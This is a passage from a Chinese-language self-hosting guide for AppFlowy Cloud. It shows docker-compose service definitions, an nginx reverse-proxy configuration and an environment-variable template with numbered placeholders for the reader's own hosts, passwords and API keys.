class="string">APPFLOWY_S3_ACCESS_KEY=$&#123;APPFLOWY_S3_ACCESS_KEY&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_S3_SECRET_KEY=$&#123;APPFLOWY_S3_SECRET_KEY&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_S3_BUCKET=$&#123;APPFLOWY_S3_BUCKET&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_S3_REGION=$&#123;APPFLOWY_S3_REGION&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_ACCESS_CONTROL=$&#123;APPFLOWY_ACCESS_CONTROL&#125;</span></span><br><span class="line">      <span class="comment"># For the CI testing, we set the database connection to 20. The default value is 40.</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_DATABASE_MAX_CONNECTIONS=20</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">AI_SERVER_HOST=$&#123;AI_SERVER_HOST&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">AI_SERVER_PORT=$&#123;AI_SERVER_PORT&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_WEB_URL=$&#123;APPFLOWY_WEB_URL&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_MAILER_SMTP_HOST=$&#123;APPFLOWY_MAILER_SMTP_HOST&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_MAILER_SMTP_PORT=$&#123;APPFLOWY_MAILER_SMTP_PORT&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_MAILER_SMTP_USERNAME=$&#123;APPFLOWY_MAILER_SMTP_USERNAME&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_MAILER_SMTP_EMAIL=$&#123;APPFLOWY_MAILER_SMTP_EMAIL&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_MAILER_SMTP_PASSWORD=$&#123;APPFLOWY_MAILER_SMTP_PASSWORD&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">AI_OPENAI_API_KEY=$&#123;AI_OPENAI_API_KEY&#125;</span></span><br><span class="line">    <span class="attr">build:</span></span><br><span class="line">      <span class="attr">context:</span> <span class="string">.</span></span><br><span class="line">      <span class="attr">dockerfile:</span> <span class="string">Dockerfile</span></span><br><span class="line">      <span class="attr">args:</span></span><br><span class="line">        <span class="attr">FEATURES:</span> <span class="string">&quot;&quot;</span></span><br><span class="line">        <span class="attr">PROFILE:</span> <span class="string">ci</span></span><br><span class="line">    <span class="attr">networks:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">shared_network</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">appflowyinc/appflowy_cloud:$&#123;APPFLOWY_CLOUD_VERSION:-latest&#125;</span></span><br><span class="line">    <span class="attr">depends_on:</span></span><br><span class="line">      <span class="attr">gotrue:</span></span><br><span class="line">        <span class="attr">condition:</span> <span class="string">service_healthy</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">admin_frontend:</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">on-failure</span></span><br><span class="line">    <span class="attr">build:</span></span><br><span class="line">      <span class="attr">context:</span> <span class="string">.</span></span><br><span class="line">      <span class="attr">dockerfile:</span> <span class="string">./admin_frontend/Dockerfile</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">appflowyinc/admin_frontend:$&#123;APPFLOWY_ADMIN_FRONTEND_VERSION:-latest&#125;</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="number">13000</span><span class="string">:3000</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">RUST_LOG=$&#123;RUST_LOG:-info&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">ADMIN_FRONTEND_REDIS_URL=$&#123;ADMIN_FRONTEND_REDIS_URL:-redis://redis:6379&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">ADMIN_FRONTEND_GOTRUE_URL=$&#123;ADMIN_FRONTEND_GOTRUE_URL:-http://gotrue:9999&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">ADMIN_FRONTEND_APPFLOWY_CLOUD_URL=$&#123;ADMIN_FRONTEND_APPFLOWY_CLOUD_URL:-http://appflowy_cloud:8000&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">ADMIN_FRONTEND_PATH_PREFIX=$&#123;ADMIN_FRONTEND_PATH_PREFIX:-&#125;</span></span><br><span class="line">    <span class="attr">networks:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">shared_network</span></span><br><span class="line">    <span class="attr">depends_on:</span></span><br><span class="line">      <span class="attr">gotrue:</span></span><br><span class="line">        <span class="attr">condition:</span> <span class="string">service_healthy</span></span><br><span class="line">      <span class="attr">appflowy_cloud:</span></span><br><span class="line">        <span class="attr">condition:</span> <span class="string">service_started</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">ai:</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">on-failure</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">appflowyinc/appflowy_ai:$&#123;APPFLOWY_AI_VERSION:-latest&#125;</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">AI_SERVER_PORT=$&#123;AI_SERVER_PORT&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">OPENAI_API_KEY=$&#123;AI_OPENAI_API_KEY&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">DEFAULT_AI_MODEL=openai/gpt-oss-20b:free</span> <span class="comment"># Make sure the model is available in your OpenAI account</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">DEFAULT_AI_COMPLETION_MODEL=openai/gpt-oss-20b:free</span> <span class="comment"># Make sure the model is available in your OpenAI account</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">AZURE_OPENAI_API_KEY=$&#123;AI_AZURE_OPENAI_API_KEY&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">AZURE_OPENAI_ENDPOINT=$&#123;AI_AZURE_OPENAI_API_BASE&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">AZURE_OPENAI_API_VERSION=$&#123;AI_AZURE_OPENAI_API_VERSION&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_S3_ACCESS_KEY=$&#123;APPFLOWY_S3_ACCESS_KEY&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_S3_SECRET_KEY=$&#123;APPFLOWY_S3_SECRET_KEY&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_S3_BUCKET=$&#123;APPFLOWY_S3_BUCKET&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_S3_REGION=$&#123;APPFLOWY_S3_REGION&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">AI_DATABASE_URL=$&#123;APPFLOWY_DATABASE_URL&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">AI_REDIS_URL=$&#123;APPFLOWY_REDIS_URI&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">AI_USE_MINIO=$&#123;APPFLOWY_S3_USE_MINIO&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">AI_MINIO_URL=$&#123;APPFLOWY_S3_MINIO_URL&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">AI_APPFLOWY_HOST=$&#123;APPFLOWY_BASE_URL&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_GOTRUE_JWT_SECRET=$&#123;GOTRUE_JWT_SECRET&#125;</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">appflowy_worker:</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">on-failure</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">appflowyinc/appflowy_worker:$&#123;APPFLOWY_WORKER_VERSION:-latest&#125;</span></span><br><span class="line">    <span class="attr">build:</span></span><br><span class="line">      <span class="attr">context:</span> <span class="string">.</span></span><br><span class="line">      <span class="attr">dockerfile:</span> <span class="string">./services/appflowy-worker/Dockerfile</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;14001:4001&quot;</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">RUST_LOG=$&#123;RUST_LOG:-info&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_WORKER_REDIS_URL=$&#123;APPFLOWY_WORKER_REDIS_URL:-redis://redis:6379&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_WORKER_ENVIRONMENT=production</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_WORKER_DATABASE_URL=$&#123;APPFLOWY_WORKER_DATABASE_URL&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_WORKER_DATABASE_NAME=$&#123;APPFLOWY_WORKER_DATABASE_NAME&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_S3_USE_MINIO=$&#123;APPFLOWY_S3_USE_MINIO&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_S3_MINIO_URL=$&#123;APPFLOWY_S3_MINIO_URL&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_S3_ACCESS_KEY=$&#123;APPFLOWY_S3_ACCESS_KEY&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_S3_SECRET_KEY=$&#123;APPFLOWY_S3_SECRET_KEY&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_S3_BUCKET=$&#123;APPFLOWY_S3_BUCKET&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_S3_REGION=$&#123;APPFLOWY_S3_REGION&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_MAILER_SMTP_HOST=$&#123;APPFLOWY_MAILER_SMTP_HOST&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_MAILER_SMTP_PORT=$&#123;APPFLOWY_MAILER_SMTP_PORT&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_MAILER_SMTP_USERNAME=$&#123;APPFLOWY_MAILER_SMTP_USERNAME&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_MAILER_SMTP_EMAIL=$&#123;APPFLOWY_MAILER_SMTP_EMAIL&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_MAILER_SMTP_PASSWORD=$&#123;APPFLOWY_MAILER_SMTP_PASSWORD&#125;</span></span><br><span class="line">    <span class="attr">networks:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">shared_network</span></span><br><span class="line">      </span><br><span class="line">  <span class="attr">appflowy_web:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">appflowyinc/appflowy_web:latest</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_BASE_URL=$&#123;APPFLOWY_BASE_URL&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_GOTRUE_BASE_URL=$&#123;APPFLOWY_BASE_URL&#125;/gotrue</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_WS_BASE_URL=$&#123;APPFLOWY_WEBSOCKET_BASE_URL&#125;</span></span><br><span class="line">    <span class="attr">networks:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">shared_network</span></span><br><span class="line"></span><br><span class="line"><span class="attr">volumes:</span></span><br><span class="line">  <span class="attr">postgres_data:</span></span><br><span class="line">  <span class="attr">minio_data:</span></span><br><span class="line"></span><br><span class="line"><span class="attr">networks:</span></span><br><span class="line">  <span class="attr">shared_network:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">appflowy_network</span></span><br><span class="line">    <span class="attr">driver:</span> <span class="string">bridge</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="nginx-conf">nginx.conf</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br></pre></td><td class="code"><pre><span class="line">events &#123;</span><br><span class="line">    worker_connections 1024;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">http &#123;</span><br><span class="line">    # docker dns resolver</span><br><span class="line">    resolver 127.0.0.11 valid=10s;</span><br><span class="line">    #error_log /var/log/nginx/error.log debug;</span><br><span class="line"></span><br><span class="line">    map $http_upgrade $connection_upgrade &#123;</span><br><span class="line">        default upgrade;</span><br><span class="line">        &#x27;&#x27; close;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">     map $http_origin $cors_origin &#123;</span><br><span class="line">         default $http_origin;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">    server &#123;</span><br><span class="line">        listen 8080;</span><br><span class="line"></span><br><span class="line">        # https://github.com/nginxinc/nginx-prometheus-exporter</span><br><span class="line">        location = /stub_status &#123;</span><br><span class="line">            stub_status;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    server &#123;</span><br><span class="line">        # ssl_certificate /etc/nginx/ssl/certificate.crt;</span><br><span class="line">        # ssl_certificate_key /etc/nginx/ssl/private_key.key;</span><br><span class="line"></span><br><span class="line">        listen 80;</span><br><span class="line">        # listen 443 ssl;</span><br><span class="line">        client_max_body_size 10M;</span><br><span class="line"></span><br><span class="line">        underscores_in_headers on;</span><br><span class="line">        set $appflowy_cloud_backend &quot;http://appflowy_cloud:8000&quot;;</span><br><span class="line">        set $gotrue_backend &quot;http://gotrue:9999&quot;;</span><br><span class="line">        set $appflowy_web_backend &quot;http://appflowy_web:80&quot;;</span><br><span class="line"></span><br><span class="line">        # GoTrue</span><br><span class="line">        location /gotrue/ &#123;</span><br><span class="line">            proxy_pass $gotrue_backend;</span><br><span class="line"></span><br><span class="line">            rewrite ^/gotrue(/.*)$ $1 break;</span><br><span class="line"></span><br><span class="line">            # Allow headers like redirect_to to be handed over to the gotrue</span><br><span class="line">            # for correct redirecting</span><br><span class="line">            proxy_set_header Host $http_host;</span><br><span class="line">            proxy_pass_request_headers on;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        # WebSocket</span><br><span class="line">        location /ws &#123;</span><br><span class="line">            # Existing proxy configuration</span><br><span class="line">            proxy_pass $appflowy_cloud_backend;</span><br><span class="line"></span><br><span class="line">            proxy_http_version 1.1;</span><br><span class="line">            proxy_set_header Upgrade $http_upgrade;</span><br><span class="line">            proxy_set_header Connection &quot;Upgrade&quot;;</span><br><span class="line">            proxy_set_header Host $host;</span><br><span class="line">            proxy_set_header X-Real-IP $remote_addr;</span><br><span class="line">            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;</span><br><span class="line">            proxy_set_header X-Forwarded-Proto $scheme;</span><br><span class="line">            proxy_read_timeout 86400s;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        location /api &#123;</span><br><span class="line">            proxy_pass $appflowy_cloud_backend;</span><br><span class="line">            proxy_set_header X-Request-Id $request_id;</span><br><span class="line">            proxy_set_header Host $http_host;</span><br><span class="line">proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;</span><br><span class="line">    proxy_set_header X-Forwarded-Proto $scheme;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">            location ~* ^/api/workspace/([a-zA-Z0-9_-]+)/publish$ &#123;</span><br><span class="line">                proxy_pass $appflowy_cloud_backend;</span><br><span class="line">                proxy_request_buffering off;</span><br><span class="line">                client_max_body_size 256M;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            # AppFlowy-Cloud</span><br><span class="line">            location /api/chat &#123;</span><br><span class="line">                proxy_pass $appflowy_cloud_backend;</span><br><span class="line"></span><br><span class="line">                proxy_http_version 1.1;</span><br><span class="line">                proxy_set_header Connection &quot;&quot;;</span><br><span class="line">                chunked_transfer_encoding on;</span><br><span class="line">                proxy_buffering off;</span><br><span class="line">                proxy_cache off;</span><br><span class="line"></span><br><span class="line">                proxy_read_timeout 600s;</span><br><span class="line">                proxy_connect_timeout 600s;</span><br><span class="line">                proxy_send_timeout 600s;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            location /api/import &#123;</span><br><span class="line">                proxy_pass $appflowy_cloud_backend;</span><br><span class="line"></span><br><span class="line">                # Set headers</span><br><span class="line">                proxy_set_header X-Request-Id $request_id;</span><br><span class="line">                proxy_set_header Host $http_host;</span><br><span class="line"></span><br><span class="line">                # Timeouts</span><br><span class="line">                proxy_read_timeout 600s;</span><br><span class="line">                proxy_connect_timeout 600s;</span><br><span class="line">                proxy_send_timeout 600s;</span><br><span class="line"></span><br><span class="line">                # Disable buffering for large file uploads</span><br><span class="line">                proxy_request_buffering off;</span><br><span class="line">                proxy_buffering off;</span><br><span class="line">                proxy_cache off;</span><br><span class="line">                client_max_body_size 2G;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        # AppFlowy Web</span><br><span class="line">        location / &#123;</span><br><span class="line">            proxy_pass $appflowy_web_backend;</span><br><span class="line">            proxy_set_header X-Scheme $scheme;</span><br><span class="line">            proxy_set_header Host $host;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="env">env</h3><p>涉及较多的敏感信息需要自行替换。下图的emoji数字即为需要替换的内容，端口如果不是9999环境变量中记得替换。</p><ul><li>1️⃣你的域名，ddns到家庭内网的域名</li><li>2️⃣postges的内网ip，上面说了库为单独部署，所以需要ip，否则docker可以使用镜像名称识别，redis、minio也是一样，下面不再赘述</li><li>3️⃣postgres的用户名</li><li>4️⃣postgres的密码</li><li>5️⃣postgres的短裤</li><li>6️⃣redis的内网ip</li><li>7️⃣redis的端口</li><li>8️⃣redis的密码</li><li>9️⃣minio的内网ip</li><li>1️⃣0️⃣minio的上传端口和控制台的端口不一样，一般为9000</li><li>1️⃣1️⃣用于控制台的超管邮箱，实际我没用起来</li><li>1️⃣2️⃣用于控制台的超管密码，实际我也没用起来</li><li>1️⃣3️⃣可以在控制台执行<code>openssl rand -base64 32</code>生成</li><li>1️⃣4️⃣你的可用于发送邮件的smtp账号，如果不是谷歌的，需要替换<code>smtp.gmail.com</code>这个内容</li><li>1️⃣5️⃣你的可用于发送邮件的smtp账号密码</li><li>1️⃣6️⃣你的这个发送邮件的smtp账号的邮箱</li><li>1️⃣7️⃣调用大模型的密钥</li><li>1️⃣8️⃣调用的大模型</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br></pre></td><td class="code"><pre><span class="line">FQDN=1️⃣:9999</span><br><span class="line"></span><br><span class="line">SCHEME=https</span><br><span class="line">WS_SCHEME=wss</span><br><span class="line"></span><br><span class="line">APPFLOWY_BASE_URL=$&#123;SCHEME&#125;://$&#123;FQDN&#125;</span><br><span class="line">APPFLOWY_WEBSOCKET_BASE_URL=$&#123;WS_SCHEME&#125;://$&#123;FQDN&#125;/ws/v2</span><br><span class="line"></span><br><span class="line">POSTGRES_HOST=2️⃣</span><br><span class="line">POSTGRES_USER=3️⃣</span><br><span class="line">POSTGRES_PASSWORD=4️⃣</span><br><span class="line">POSTGRES_PORT=5️⃣</span><br><span class="line">POSTGRES_DB=appflowy</span><br><span class="line"></span><br><span class="line"># Redis Settings</span><br><span class="line">REDIS_HOST=6️⃣</span><br><span class="line">REDIS_PORT=7️⃣</span><br><span class="line">REDIS_PASSWORD=8️⃣</span><br><span class="line"></span><br><span class="line">MINIO_HOST=9️⃣</span><br><span class="line">MINIO_PORT=1️⃣0️⃣</span><br><span class="line">APPFLOWY_GOTRUE_BASE_URL=http://gotrue:9999</span><br><span class="line"></span><br><span class="line">APPFLOWY_DATABASE_URL=postgres://$&#123;POSTGRES_USER&#125;:$&#123;POSTGRES_PASSWORD&#125;@$&#123;POSTGRES_HOST&#125;:$&#123;POSTGRES_PORT&#125;/$&#123;POSTGRES_DB&#125;</span><br><span class="line"></span><br><span class="line">APPFLOWY_ACCESS_CONTROL=true</span><br><span class="line"></span><br><span class="line">APPFLOWY_WEBSOCKET_MAILBOX_SIZE=6000</span><br><span class="line"></span><br><span class="line">APPFLOWY_DATABASE_MAX_CONNECTIONS=40</span><br><span class="line"></span><br><span class="line">APPFLOWY_REDIS_URI=redis://:$&#123;REDIS_PASSWORD&#125;@$&#123;REDIS_HOST&#125;:$&#123;REDIS_PORT&#125;</span><br><span class="line"></span><br><span class="line">GOTRUE_DATABASE_URL=postgres://$&#123;POSTGRES_USER&#125;:$&#123;POSTGRES_PASSWORD&#125;@$&#123;POSTGRES_HOST&#125;:$&#123;POSTGRES_PORT&#125;/$&#123;POSTGRES_DB&#125;?search_path=auth</span><br><span class="line"></span><br><span class="line">GOTRUE_ADMIN_EMAIL=1️⃣1️⃣</span><br><span class="line">GOTRUE_ADMIN_PASSWORD=1️⃣2️⃣</span><br><span class="line"></span><br><span class="line">GOTRUE_JWT_SECRET=1️⃣3️⃣</span><br><span class="line"></span><br><span class="line"># Expiration time in seconds for the JWT token</span><br><span class="line">GOTRUE_JWT_EXP=604800</span><br><span class="line"></span><br><span class="line"># External URL where the GoTrue service is exposed</span><br><span class="line">API_EXTERNAL_URL=$&#123;APPFLOWY_BASE_URL&#125;/gotrue</span><br><span class="line"></span><br><span class="line">GOTRUE_MAILER_AUTOCONFIRM=false</span><br><span class="line"></span><br><span class="line"># Set this to true if users can only join by invite</span><br><span class="line">GOTRUE_DISABLE_SIGNUP=true</span><br><span class="line"></span><br><span class="line"># Number of emails that can be sent per minute</span><br><span class="line">GOTRUE_RATE_LIMIT_EMAIL_SENT=100</span><br><span class="line"></span><br><span class="line">GOTRUE_MAILER_TEMPLATES_MAGIC_LINK=</span><br><span class="line"></span><br><span class="line">ADMIN_FRONTEND_REDIS_URL=redis://:$&#123;REDIS_PASSWORD&#125;@$&#123;REDIS_HOST&#125;:$&#123;REDIS_PORT&#125;</span><br><span class="line"></span><br><span class="line"># URL that connects to gotrue docker container</span><br><span class="line">ADMIN_FRONTEND_GOTRUE_URL=http://gotrue:9999</span><br><span class="line"></span><br><span class="line"># URL that connects to the cloud docker container</span><br><span class="line">ADMIN_FRONTEND_APPFLOWY_CLOUD_URL=http://appflowy_cloud:8000</span><br><span class="line"></span><br><span class="line">GOTRUE_SMTP_HOST=smtp.gmail.com</span><br><span class="line">GOTRUE_SMTP_PORT=465</span><br><span 